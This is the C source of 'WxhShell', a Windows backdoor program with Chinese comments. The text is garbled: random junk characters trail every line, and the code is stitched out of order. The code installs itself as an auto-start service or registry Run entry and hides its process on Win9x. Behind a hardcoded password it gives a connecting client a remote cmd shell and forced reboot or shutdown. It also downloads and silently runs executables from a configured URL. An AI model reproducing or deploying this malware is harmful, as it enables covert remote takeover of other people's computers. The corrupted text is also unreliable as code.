    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l E^*t`+  
    else { 5V@&o`!=h  
    closesocket(wsh); s}ADk-7  
    ExitThread(0); JKy#j g:#  
    } ue6d~8&  
    break; $KX[Zu%  
    } EZib1g&:R/  
  // 关机 7~b!4x|Z  
  case 'd': { kaQ2A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9tk" :ld  
    if(Boot(SHUTDOWN)) .45^=2NGmQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +j[`,5oS  
    else { :Q-oV8t{  
    closesocket(wsh); LeHiT>aX!  
    ExitThread(0); @]=f?+y[ 2  
    } HE;V zR  
    break; ZXt?[Ll  
    } :}9j^}"c3  
  // 获取shell a4&:@`=  
  case 's': { nm@']  
    CmdShell(wsh); %!y89x=E  
    closesocket(wsh); VE]6wwV2  
    ExitThread(0); TJOvyz`t  
    break; AIh*1>2Xn  
  } _faJB@a_  
  // 退出 \zu }\{  
  case 'x': { =j~Q/-`EC0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =Ndli>x}1  
    CloseIt(wsh); +O+<Go@a  
    break; ooE{V*Ie  
    } h/<=u9J  
  // 离开 \84v-VK  
  case 'q': { ^u)rB<#BR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i2PZ'.sL  
    closesocket(wsh); 73 V"s  
    WSACleanup(); }Hy ~i  
    exit(1); 3.vgukkk5  
    break; P`TIaP9%E  
        } +xj "hX>3  
  } IgM v =^U  
  } yC !/PQ"  
-$YJfQE6G  
  // 提示信息 XmWlv{T+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hz\WZ^  
} l6 7KJ  
  } i-lKdpv  
KDey(DN:  
  return; /IR#A%U  
} +\`rmI  
6GINmkA  
// shell模块句柄 V1utUGJV  
int CmdShell(SOCKET sock) 2dbRE:v5  
{ 6I|A- h  
STARTUPINFO si; J%Mnjk^_\S  
ZeroMemory(&si,sizeof(si)); B~TN/sd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @6&JR<g*t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;h~er6&   
PROCESS_INFORMATION ProcessInfo; V1<`%=%_W  
char cmdline[]="cmd"; +a$|Sc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X:=c5*0e  
  return 0; 2o5;Uz1{  
} 6 h'&6  
;7rv  
// 自身启动模式 6G_<2bO  
int StartFromService(void) u7=T(4a  
{ YaL]>.;Z:"  
typedef struct $}tjS3klr  
{ P`"mM?u  
  DWORD ExitStatus; B8V,)rn  
  DWORD PebBaseAddress; C_->u4 -  
  DWORD AffinityMask; S%l:kKD  
  DWORD BasePriority; &[j]Bp?  
  ULONG UniqueProcessId; *YvRNHP  
  ULONG InheritedFromUniqueProcessId; pn\V+Rg'  
}   PROCESS_BASIC_INFORMATION; 1`-r#-MGG  
u^4h&fL  
PROCNTQSIP NtQueryInformationProcess; CMl~=[foW  
nPA@h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]b}B2F'n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &erm`Ho  
}htPTOy5  
  HANDLE             hProcess; MFwO9"<A  
  PROCESS_BASIC_INFORMATION pbi; YBjdp=als  
tu}>:mk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rs7 |}Dl}  
  if(NULL == hInst ) return 0; !buz<h  
N.hzKq][  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /fwgqFVk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {exrwnIZj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *<9$D  
<z)E (J\  
  if (!NtQueryInformationProcess) return 0; \:&@;!a  
A3+6 #?:;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P!<[U!<hH  
  if(!hProcess) return 0; ,rO[mNk9@  
Z[ZDQ o1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g7V_ [R(6  
<B[G |FY,  
  CloseHandle(hProcess); m ,tXE%l  
7NF/]y4w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4JO@BV>t  
if(hProcess==NULL) return 0; +jV_Wz  
mEDpKWBk  
HMODULE hMod; edpW8eND  
char procName[255]; ^^}Hs-{T  
unsigned long cbNeeded; VKrShI  
-[]';f4]M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N"c(e6  
qnIew?-*  
  CloseHandle(hProcess); 12( wj6Q  
i_l+:/+G+  
if(strstr(procName,"services")) return 1; // 以服务启动 M{KW@7j  
flnVYQe  
  return 0; // 注册表启动 8MF2K6  
} 8cdsToF(e.  
ZkWL_ H)  
// 主模块 QK <\kVZ8  
int StartWxhshell(LPSTR lpCmdLine) Pil;/t)"  
{ I>n g`  
  SOCKET wsl; &<1 `O  
BOOL val=TRUE; eOY^$#Y  
  int port=0; BD*G1k_q  
  struct sockaddr_in door; $>w/Cy  
!j^&gRH  
  if(wscfg.ws_autoins) Install(); RKuqx:U  
{o|k.zy  
port=atoi(lpCmdLine); f/ahwz  
"J19*<~  
if(port<=0) port=wscfg.ws_port; , =y#m- 9  
g9>~HF$U  
  WSADATA data; x';u CKWV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CL9yEy"V  
r"]'`qP,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0k[2jh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;l!`C':'  
  door.sin_family = AF_INET; yrr) y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?R'Y?b  
  door.sin_port = htons(port); # c Fr   
GyC)EFd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +5X DF  
closesocket(wsl); <z0WLw0'z  
return 1; AW8'RfC.  
} p/olCmHD)  
X0uJNHO  
  if(listen(wsl,2) == INVALID_SOCKET) { 8r:M*25  
closesocket(wsl); \b8\Ug~t  
return 1;  .i/m  
} ht6244:  
  Wxhshell(wsl); vg\/DbI'  
  WSACleanup(); `_qK&&s  
Z4q~@|+%  
return 0; U A-7nb  
pn%#w*'  
} aV|9H  
1>pe&n/  
// 以NT服务方式启动 !Q %P%P<$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q{y{rC2P  
{ q``wt  
DWORD   status = 0; }[!92WS/ee  
  DWORD   specificError = 0xfffffff; 2 y8~#*O  
lU.Kc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rAukHeH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j]5WK_~M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V3sL;  
  serviceStatus.dwWin32ExitCode     = 0; zx%X~U   
  serviceStatus.dwServiceSpecificExitCode = 0; Vfs $ VY2.  
  serviceStatus.dwCheckPoint       = 0; !:0v{ZQ  
  serviceStatus.dwWaitHint       = 0; IVjU`ij  
7@;">`zvm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^mPPyT,(  
  if (hServiceStatusHandle==0) return; (03pJV&K  
8]"(!i_;)  
status = GetLastError(); r4{<Z3*N  
  if (status!=NO_ERROR) ")UwkF  
{ ~[W#/kd1n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s"~5']8  
    serviceStatus.dwCheckPoint       = 0; P LR0#).n  
    serviceStatus.dwWaitHint       = 0; s] au/T6b  
    serviceStatus.dwWin32ExitCode     = status; 4IsG=7   
    serviceStatus.dwServiceSpecificExitCode = specificError; Fo|xzLm9*|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jna;0)  
    return; 07_oP(;jT  
  } ^DAu5|--R  
mG2'Y)Sz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E4oz|2!m  
  serviceStatus.dwCheckPoint       = 0; m&Yi!7@(  
  serviceStatus.dwWaitHint       = 0; jai|/"HSXw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;_"U "?h_J  
} 8l+H"M&|  
k*Nr!Z!}  
// 处理NT服务事件,比如:启动、停止 raUs%Y3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eV!L^>>>  
{ B6M+mx"G  
switch(fdwControl) SoQR#(73HK  
{ (K{5fC  
case SERVICE_CONTROL_STOP: vmZ"o9-{#X  
  serviceStatus.dwWin32ExitCode = 0; R.RSQk7;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]k%PG-9  
  serviceStatus.dwCheckPoint   = 0; -j`LhS~|  
  serviceStatus.dwWaitHint     = 0; wN Wka7P*  
  { H Sz" tN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (?i[jO||B  
  } FfFak@H  
  return; D4Nu8Wr$  
case SERVICE_CONTROL_PAUSE: ZFn(x*L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T0QvnIaP  
  break; PlxIf  L  
case SERVICE_CONTROL_CONTINUE: "&o,yd%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2xxB\J  
  break; 9Sg<K)Mc  
case SERVICE_CONTROL_INTERROGATE: >hsuAU.UOR  
  break; 3vic(^Qh  
}; F jrINxL7^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AR&:Q4r|  
} :nJgwp()@  
?vtX"Fdz  
// 标准应用程序主函数 &xd.Qi2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4 J^Q]-Z  
{ k4\UK#ODe  
4{na+M  
// 获取操作系统版本 Va<eusl  
OsIsNt=GetOsVer(); <iLM{@lZvJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S]>wc yy=n  
Frm;Ej3?$  
  // 从命令行安装 2HL9E|h  
  if(strpbrk(lpCmdLine,"iI")) Install(); &1^%Nxu1  
c z'5iK  
  // 下载执行文件 ig#r4nQ=  
if(wscfg.ws_downexe) { O l@_(U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l* dV\ B  
  WinExec(wscfg.ws_filenam,SW_HIDE); vZAv_8S)  
} O[q\e<V<  
VG@};dwbz*  
if(!OsIsNt) { x?,9_va]  
// 如果时win9x,隐藏进程并且设置为注册表启动  Lc2QXeo8  
HideProc(); q!lP"J  
StartWxhshell(lpCmdLine); P,xwSvO#M  
} '+y_\  
else #%,RJMv  
  if(StartFromService()) G=/k>@Di  
  // 以服务方式启动 gwB\<rzG  
  StartServiceCtrlDispatcher(DispatchTable); msx-O=4g  
else rNN j0zw>  
  // 普通方式启动 uGH?N  
  StartWxhshell(lpCmdLine); LF<wt2?*  
-_A$DM!^=w  
return 0; \Ad7 Gi~  
} kBWrqZ6  
](0mjE04<d  
GHc/Zc"iX  
?A*Kg;IU  
=========================================== Fwg^(;bL  
t'qL[r%?  
q0xjA  
&%=D \YzG  
7'p8 a<x  
WCq /c6 D  
" b~Y%gC)FR  
D56<fg$  
#include <stdio.h> DocbxB={I  
#include <string.h> z%d#@w0X1  
#include <windows.h> 3z =^(Y  
#include <winsock2.h> v4vf }.L]  
#include <winsvc.h> p.JXS n  
#include <urlmon.h> Z=z%$l  
J >0b1  
#pragma comment (lib, "Ws2_32.lib") 9q[;u[A8^  
#pragma comment (lib, "urlmon.lib") W[''Cc.  
PRu&3BP  
#define MAX_USER   100 // 最大客户端连接数 |CD"*[j]  
#define BUF_SOCK   200 // sock buffer g}xQ6rd  
#define KEY_BUFF   255 // 输入 buffer _k66Mkd#b  
s4LO&STh{  
#define REBOOT     0   // 重启 rxZi8w>}  
#define SHUTDOWN   1   // 关机 qv2!grp]*W  
~qVz)<  
#define DEF_PORT   5000 // 监听端口 PO-"M)M  
5p"BD'^:  
#define REG_LEN     16   // 注册表键长度 U]6&b  
#define SVC_LEN     80   // NT服务名长度 &m^@9E)S/  
KM,|} .@:  
// 从dll定义API e79KbLV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LO%!Z,}   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o @Z#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }M>r E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lHfe<j]  
i\?*=\a  
// wxhshell配置信息 eTa y>G  
struct WSCFG { ,T{<vRj7_  
  int ws_port;         // 监听端口 x34f9! 't  
  char ws_passstr[REG_LEN]; // 口令 %CnxjtTo  
  int ws_autoins;       // 安装标记, 1=yes 0=no OEhHR  
  char ws_regname[REG_LEN]; // 注册表键名 s<QkDERMX  
  char ws_svcname[REG_LEN]; // 服务名 a|j%n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _ Y2 U7W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `u'bRp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]c)_&{:V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |+,[``d>"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pf"<!O[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AG6K daJ  
(K..k-o`.  
}; E)N<lh  
8AFczeg[[  
// default Wxhshell configuration 3)Ac"nuyqH  
struct WSCFG wscfg={DEF_PORT, O~Wt600{E  
    "xuhuanlingzhe", i&Fiq&V)[  
    1, 9]'&RyH=#  
    "Wxhshell", {jKI^aC<[  
    "Wxhshell", V\5 L?}  
            "WxhShell Service", 1QqHF$S  
    "Wrsky Windows CmdShell Service", = duks\)O  
    "Please Input Your Password: ", ,Ds.x@p  
  1, Z=S>0|`R  
  "http://www.wrsky.com/wxhshell.exe", ;az5ZsvN D  
  "Wxhshell.exe" bJ /5|E?  
    }; _D7]-3uC!  
m#e3%150{  
// 消息定义模块 ^]C&tG0 !  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]88];?KS}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !c#]?b%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V7Yaks  
char *msg_ws_ext="\n\rExit."; kJ:F *34e=  
char *msg_ws_end="\n\rQuit."; U/{6% Qy  
char *msg_ws_boot="\n\rReboot..."; _banp0ywS  
char *msg_ws_poff="\n\rShutdown..."; W;6vpPhg#!  
char *msg_ws_down="\n\rSave to "; c:!zO\P#  
cu!W4Ub<  
char *msg_ws_err="\n\rErr!"; )~)*=u/  
char *msg_ws_ok="\n\rOK!";  :nY 2O  
XMN:]!1J  
char ExeFile[MAX_PATH]; 7Cqcb>\X  
int nUser = 0; 0u B'g+MU`  
HANDLE handles[MAX_USER]; (oz$B0HO:  
int OsIsNt; lK7m=[ j  
ow'Vz Ay-  
SERVICE_STATUS       serviceStatus; * *H&+T/B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $:s`4N^  
} R4c  
// 函数声明 cE'L% Z  
int Install(void); ;lX(}2tXW  
int Uninstall(void); E.bi05l  
int DownloadFile(char *sURL, SOCKET wsh); sW#JjtK  
int Boot(int flag); PCrU<J 7  
void HideProc(void); 1j-te-}"c  
int GetOsVer(void); `lDut1J5n  
int Wxhshell(SOCKET wsl); P(k(m< 0  
void TalkWithClient(void *cs); z&8un% Jt  
int CmdShell(SOCKET sock); yL4 T  
int StartFromService(void); |R/.r_x,V?  
int StartWxhshell(LPSTR lpCmdLine); d)o!5L  
Ck =;1sGh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G9P!_72  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '\#EIG  
?L) !pP]  
// 数据结构和表定义 RkEN ,xWE  
SERVICE_TABLE_ENTRY DispatchTable[] = gR^>3n'  
{ ~ (On|h  
{wscfg.ws_svcname, NTServiceMain}, LjFqZrH  
{NULL, NULL} t`'iU$:1f  
}; 4\ c,)U}  
q"qo.TPh|$  
// 自我安装 E\ 8  
int Install(void) b,TiMf9},h  
{ Z(>'0]G  
  char svExeFile[MAX_PATH]; #:x4DvDkR  
  HKEY key; 2aA`f7  
  strcpy(svExeFile,ExeFile); Uggw-sRU  
~tFqb<n  
// 如果是win9x系统,修改注册表设为自启动 <|Yj%f  
if(!OsIsNt) { qZEoiNH(Tj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N/QiI.V6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LK9g0_  
  RegCloseKey(key); $4FX(O0Q@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8e~|.wOL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g?v\!/~(u  
  RegCloseKey(key); ?jQ](i&  
  return 0; V! |qYM.  
    } >kZ57,  
  } qB]i6*  
} /.Nov  
else { fQK"h  
/2M.~3gQ  
// 如果是NT以上系统,安装为系统服务 rx"s!y{!-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b IW'c_ ,  
if (schSCManager!=0) ~rr 4ok  
{ hG~reVNf  
  SC_HANDLE schService = CreateService @Y,7'0U  
  ( hJz):d>Im  
  schSCManager, ?Ucu#UO  
  wscfg.ws_svcname, HBE.F&C88  
  wscfg.ws_svcdisp, AGP("U'u  
  SERVICE_ALL_ACCESS, e(F42;$$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "& Dx=Yf  
  SERVICE_AUTO_START, q_W0/Ki8  
  SERVICE_ERROR_NORMAL, l&YKD,H};  
  svExeFile, _lKZmhi  
  NULL, $2D uB  
  NULL, R #]jSiS  
  NULL, )\;Z4x;]U  
  NULL, q*![AzFh  
  NULL i|)Su4Dw  
  ); 6&Juv  
  if (schService!=0) 5m:i6,4  
  { L(>=BK*  
  CloseServiceHandle(schService); g @I6$Z  
  CloseServiceHandle(schSCManager); dUznxZB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V}o n|A  
  strcat(svExeFile,wscfg.ws_svcname); 39F O f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M~*u;vA/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |IoB?^_h  
  RegCloseKey(key); juF{}J2  
  return 0; |]Z:&[D]i  
    } e pCLM_yA  
  } YKbCdLQ  
  CloseServiceHandle(schSCManager); j/T>2|dA&  
} (}r|yE  
} mV73 \P6K  
I]"96'|N  
return 1; Zc |/{$>:W  
} CBQhIvq.d  
SQ,?N XZ  
// 自我卸载 <!$:8ls  
int Uninstall(void) (KZHX5T=  
{ dm "n%  
  HKEY key; [a o U5;7  
depYqYK7G  
if(!OsIsNt) { <WXzh5D2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +(D$9{y   
  RegDeleteValue(key,wscfg.ws_regname); "1q>At  
  RegCloseKey(key); $P7iRM]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j6~nE'sQ  
  RegDeleteValue(key,wscfg.ws_regname); X7UuwIIP  
  RegCloseKey(key); ;g_> ;tR/  
  return 0; iGDLZE+?  
  } cH-@V<  
} ]{ BE r*  
} 0,s$T2  
else { bb42v7?  
7J28JK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n 26Y]7N  
if (schSCManager!=0) Kz<@x`0   
{ 8By,#T".  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &Lt[WT$  
  if (schService!=0) I]Tsz'T!9  
  { 5 )2:stT73  
  if(DeleteService(schService)!=0) { ]W0EVf=,k  
  CloseServiceHandle(schService); cWGDee(  
  CloseServiceHandle(schSCManager); @''GPL@  
  return 0; (\"k&O{  
  } 6ZgU"!|r  
  CloseServiceHandle(schService); cr?7O;,  
  } to8X=80-3  
  CloseServiceHandle(schSCManager); JxLf?ad.  
} }7G8|54t  
} FG3UZVUg9  
dw~p?[  
return 1; "x941 }  
} L{l6Dd43q  
KV|}#<dD  
// 从指定url下载文件 )2UZ% ?V#  
int DownloadFile(char *sURL, SOCKET wsh) 2Nxm@B` {  
{ :{'k@J"| a  
  HRESULT hr; U7xmC  
char seps[]= "/"; +9O5KI?P  
char *token; { 74mf'IW  
char *file; sG~<M"znV  
char myURL[MAX_PATH]; 'sp-%YlM -  
char myFILE[MAX_PATH]; q'oMAMf}  
M L7 \BT  
strcpy(myURL,sURL); Ov-b:l H  
  token=strtok(myURL,seps); Gc.P,K/hr  
  while(token!=NULL) 2 nb:)  
  { ;o/>JHGj  
    file=token; E@a3~a  
  token=strtok(NULL,seps); P3 c\S[F  
  } <]C$xp<2  
% |q0-x  
GetCurrentDirectory(MAX_PATH,myFILE); G>YAJ o  
strcat(myFILE, "\\"); (vR 9H(#  
strcat(myFILE, file); a</D_66  
  send(wsh,myFILE,strlen(myFILE),0); I fO;S*Qt  
send(wsh,"...",3,0); *F>v]8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vN4Qdpdb  
  if(hr==S_OK) =5D nR  
return 0; PqNFyQkl  
else H7+X&#s%  
return 1; E^_w I>  
{Z;jhR,  
} x# ~ x;)  
&X9Z W$C  
// 系统电源模块 41#w|L \  
int Boot(int flag) %or,{mmiM:  
{ ,1q_pep~?%  
  HANDLE hToken; _qvK*nE  
  TOKEN_PRIVILEGES tkp; t3Z_Dp~\  
uUE9g  
  if(OsIsNt) { UV}73Sp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5ep/h5*/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g u)=wu0  
    tkp.PrivilegeCount = 1; }],Z;:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ` b !5^W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O2{)WWOT  
if(flag==REBOOT) { lcON+j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *5sBhx  
  return 0; JO&JP3N1  
} UE _fpq  
else { nfb]VN~(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) It_M@  
  return 0; L?_7bX oD  
} : FAH\  
  } Bhqft;Nuh  
  else { UH@a s  
if(flag==REBOOT) { 2:}fe}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U,/6;}  
  return 0; QU{Ech'  
} r8xyd"Axy  
else { * v8Ts  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~/_9P Fk  
  return 0; e73^#O&Xt  
} h9$ Fx  
} ogM%N  
e]ig!G]  
return 1; GZ!| }$ 8  
} Dz!fpE'L  
E< 4l#Z<  
// win9x进程隐藏模块 P ]N [y  
void HideProc(void) Jxf~&!zR  
{ z^o1GY  
;vhyhP.oM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fhq9D{TeY,  
  if ( hKernel != NULL ) I4rPHZ|  
  { 8pM>Co!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O^LTD#}$a)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u{&B^s)k.  
    FreeLibrary(hKernel); =9L$L|W  
  } {-9jm%N  
^\ ?O4,L  
return; 1{pmKPu  
} M_B:{%4  
U]qav,^[  
// 获取操作系统版本 PYB+FcR6?n  
int GetOsVer(void) Uts"aQ  
{ "wH)mQnd  
  OSVERSIONINFO winfo;  R7oj#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %v5R#14[n  
  GetVersionEx(&winfo); jD) {I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e"-X U@`k1  
  return 1; W [[oSqp  
  else "Z,q?Fc  
  return 0; J?)RfK|!  
} LCXO>MXN  
ZZ/cq:3$P  
// 客户端句柄模块 @e~]t}fH  
int Wxhshell(SOCKET wsl) OwzJO  
{ di9!lS$  
  SOCKET wsh; Hx^!:kxk  
  struct sockaddr_in client; z;]CmR@Ki  
  DWORD myID; KHKS$D  
q^8EOAvnZ  
  while(nUser<MAX_USER) k1z$e*u&r  
{ $ E1Tb{'  
  int nSize=sizeof(client); 0X..e$ '  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oC*ees g_  
  if(wsh==INVALID_SOCKET) return 1; L^kp8o^$  
`T ^G^7&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >: 0tA{bV  
if(handles[nUser]==0) 1,2EhfX|s  
  closesocket(wsh); [{[N(g&d  
else k0?ZYeHC  
  nUser++; i< (s}wg  
  } QrD o|GtE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t$& Qv)  
,lY aA5&I  
  return 0; Q+|{Bs)6i1  
} k>4qkigjc  
OQ/<-+<w  
// 关闭 socket XCB?ll*^  
void CloseIt(SOCKET wsh) r'/;O  
{ rt]S\  
closesocket(wsh); oqkVYlE  
nUser--; a<XCNTaVT  
ExitThread(0); =<f-ob8,  
} I"L;L?\S  
$X`y%*<<v  
// 客户端请求句柄 CF y}r(q  
void TalkWithClient(void *cs) $KV&\Q3\0  
{ <x%M3BTx  
wn +FTqj  
  SOCKET wsh=(SOCKET)cs; BJjx|VA+  
  char pwd[SVC_LEN]; ClW'W#*(Y  
  char cmd[KEY_BUFF]; 2)iD4G`  
char chr[1]; 8$P>wCK\l  
int i,j; .r|*Ch#;P  
jX=lAs~6  
  while (nUser < MAX_USER) { @ $cUNvI  
`cP <}^]  
if(wscfg.ws_passstr) { .;/L2Jv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S^RUw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r2*<\ax  
  //ZeroMemory(pwd,KEY_BUFF); )9"oL!2h  
      i=0; :LJ7ru2  
  while(i<SVC_LEN) { :bM+&EP  
Y,z??bm~J  
  // 设置超时 u.|~   
  fd_set FdRead; C.a5RF0  
  struct timeval TimeOut; TT!ET<ciN  
  FD_ZERO(&FdRead); *}b]rjsj  
  FD_SET(wsh,&FdRead); Y8s;w!/  
  TimeOut.tv_sec=8;  {E9v`u\  
  TimeOut.tv_usec=0; ~9pM%N V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l?N`{ ,1^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >.9eBz@  
9 wa,k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]o.vB}WsY  
  pwd=chr[0]; \9c$`nn  
  if(chr[0]==0xd || chr[0]==0xa) { ,+/zH'U}  
  pwd=0; ;|ub!z9GG  
  break; X'sEE  
  } U)jUq_LX  
  i++; _]#klL  
    } {5:Zl<0  
I %_MV  
  // 如果是非法用户,关闭 socket =6%|?5G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |g)FA_#|<  
} N$aZ== $5  
uF(k[[qaiN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /9ZcM]X B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B:oF;~d/,  
I@7/jUO  
while(1) { Z_z#QX>=D  
:Z`4j  
  ZeroMemory(cmd,KEY_BUFF); c,5n, i  
x/TGp?\g  
      // 自动支持客户端 telnet标准   z MdC  
  j=0; Rph%*~'  
  while(j<KEY_BUFF) { 2=*=^)FNI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  y).P=z  
  cmd[j]=chr[0]; 97~K!'/^+y  
  if(chr[0]==0xa || chr[0]==0xd) { =v-2@=NJ`K  
  cmd[j]=0; \3Jq_9Xv  
  break; Eek9|i"p  
  } q=c/B(II!  
  j++; /lD?VE  
    } [$\>~nj=  
: iCM=k  
  // 下载文件 XF,<i1ZlM  
  if(strstr(cmd,"http://")) { d+2daKi  
